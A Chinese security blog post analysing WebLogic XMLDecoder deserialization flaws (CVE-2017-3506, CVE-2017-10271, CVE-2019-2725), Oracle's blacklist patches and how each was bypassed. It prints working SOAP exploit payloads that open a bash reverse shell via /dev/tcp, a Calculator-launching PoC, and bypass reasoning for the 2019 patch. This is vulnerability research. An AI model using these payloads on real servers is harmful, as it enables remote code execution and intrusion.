xmldecoder反序列化的补丁与绕过

从cve-2017-3506谈起

2017年4月weblogic官方发布了一个补丁
http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html

官方说这洞主要是web service模块的问题,那我们来动态调试一下
exp
https://pupiles-1253357925.cos.ap-chengdu.myqcloud.com/xml/Snipaste_2019-05-02_15-22-24.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/127.0.0.1/2333 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

看一下调用栈

所以最终我们的payload会调用进行readobject反序列化
然而这个readobject确实XMLDecoder的一个方法,而这个XMLDecoder却不是weblogic特有的类而是java的一个通用类

所以很容易就能发现这洞本质并不是weblogic的问题,但是weblogic确实对其进行了修补,方法很粗暴

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}

简单来说就是限制了object标签,使其不能使用object创建指定类的实例,然而这种黑名单修补方法实在是太憨憨了,所以就有了CVE-2017-10271

cve-2017-10271

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/127.0.0.1/2333 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

我们可以看到这里我们使用了void来代替object来绕过了黑名单过滤,当然后续不止void还可以使用new关键词来代替object,不知道大家看到这exp的时候有没有疑惑,为什么void元素和new元素可以代替object呢?这是XMLDecoder的问题还是weblogic的问题?还有没有别的元素也可以被特殊处理呢?带着这些疑问上网查了一下,然而网上大部分都是你抄我,他抄你的基本都是跟踪到readobject就结束了,所以无奈之下我问了一下chybeta师傅,他给了我一个链接
https://docs.oracle.com/javase/9/docs/api/java/beans/XMLEncoder.html

然而这段英文我不管是读原文还是用谷歌翻译成中文都无法理解(吃了没文化的亏),所以绝知此事还得动态调试
这里因为我已经知道问题大致出在了XMLDecoder里面,所以就把XMLDecoder拉出来单独调试了
xmlDecode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package demo.xdsec;
import com.sun.beans.decoder.DocumentHandler;
import org.xml.sax.helpers.DefaultHandler;

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.beans.XMLDecoder;
import java.io.IOException;

public class xmlDecode{

public static void XMLDecode_Deserialize(String path) throws Exception {
File file = new File(path);
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xdsec = new XMLDecoder(bis);
xdsec.readObject();
xdsec.close();
}


public static void main(String[] args) throws IOException {
String path = "src/poc.xml";
try {
XMLDecode_Deserialize(path);

} catch (Exception e) {
e.printStackTrace();
}
}
}

poc.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="2">
<void index="0">
<string>open</string>
</void>
<void index="1">
<string>/Applications/Calculator.app</string>
</void>
</array>
<void method="start" />
</object>
</java>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="2">
<void index="0">
<string>open</string>
</void>
<void index="1">
<string>/Applications/Calculator.app</string>
</void>
</array>
<void method="start" />
</object>
</java>

运行,弹出计算器
证明我们的理论没问题,我们下断点跟一下
在readobject下断点

发现其调用了parsingComplete函数,继续跟入

发现调用了parse函数跟入看一下

这里做了一些权限检查以后跟入
SAXParserFactory.newInstance().newSAXParser().parse
后面的调用栈比较深,大致是做了一些取xml版本,头信息的操作这里给出一个调用栈图,有兴趣的可以自己跟一下

然后我们来到了关键的地方

注意一下this.handlers参数,这里包含了所有元素对应的解析器

假如这里我们解析的元素是array,所以我们会调用arrayElementHandler的构造函数去实例化一个arrayElementHandler的类对象,然后设置一些属性,在这里我们可以重点看一下
this.handler.addAttribute这一步操作也就是如果没有length属性的话则会调用父类也就是newelementhandler的addAttribute方法

这里因为我们的payload是<array class="java.lang.String" length="2">所以第一属性是class不是length,所以需要调用newelementhandler的addAttribute方法,我们看一下

这里定义了对class属性的处理过程,也就是会返回我们通过class属性的类,ok,看到这里我们再看看object元素的处理

注意这里的object依然继承newelementhandler所以,依然是调用newelement的addAttribute,所以可以获得类,这也证明的new元素本身可以代替class,然后我们再来看看void元素

看到这里我们的疑惑应该解决了,也就是继承了objecthandlerelement或者newhandlerelement的元素可以代替object元素,那有人肯定有疑问为什么我们刚刚提到的array元素不行,其实我们本地测一下就能知道问题出在哪里了,我们获得的class最终会在执行endelement调用对应handler的getValueObject函数进行取值

我们看看不同handler的getValueObject的实现
array

object

我们可以发现arrayelementhandler是使用Array.newInstance创建array的实例,而不是我们传入的类的实例
篇幅有限,这里有没有别的可替代的元素大家可以自行去看一下。
然后执行到ValueObjectImpl.create里的getvalue
通过反射最终执行代码

cve-2019-2725

就在weblogic以为高枕无忧的时候,时隔两年
又出了新的绕过方式,我们来看一下最新的补丁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("class")) {
throw new IllegalStateException("Invalid element qName:class");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int i = 0; i < attributes.getLength(); ++i) {
if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
}
}
}
if (qName.equalsIgnoreCase("array")) {
String attClass = attributes.getValue("class");
if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String lengthString = attributes.getValue("length");
if (lengthString != null) {
try {
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
} catch (NumberFormatException var8) {

这次重点在于把class元素也禁用了,我们来看一下classelementhandler

这里我们classelementhandler继承的是stringhandler而且我们的类并不是通过属性传入的,所以可以肯定并不是我们之前的方式,但是他有一个很有意思的getValue方法,返回值就是我们传入的类,通过上面的分析,我们在一个元素结束的时候也就是endelement的方法会调用对应handler的getValueObject,这里因为classelementhandler没有getValueObject方法,所以会调用父类的getValueObject方法,也就是会调用stringelementhandler的getValueObject

然后会调用classelementhandler的getValue方法,最终返回对应的类,但是这里有个问题method关键词被ban了所以只能调用该类的构造方法,并且由于array只能传入byte属性,所以我们需要一个类的构造方法接受一个字节数组并且有类似反射或者readobject的敏感操作,网上大多都是通过UnitOfWorkChangeSet这个类进行反序列化操作的明显满足要求!!!所以接下来可以利用yso的jdk7u21的或者JtaTransactionManager

总结

payload太长就不发了,有兴趣的小伙伴可以自行构造,其实xmldecoder反序列化的问题最早在2013年就被提出了,理论上在JDK 1.4~JDK 11中都存在反序列化漏洞安全风险,并且使用黑名单来打补丁的方式始终不太靠谱,总感觉在不久的将来会出现下一个cve-xxxx-xxxx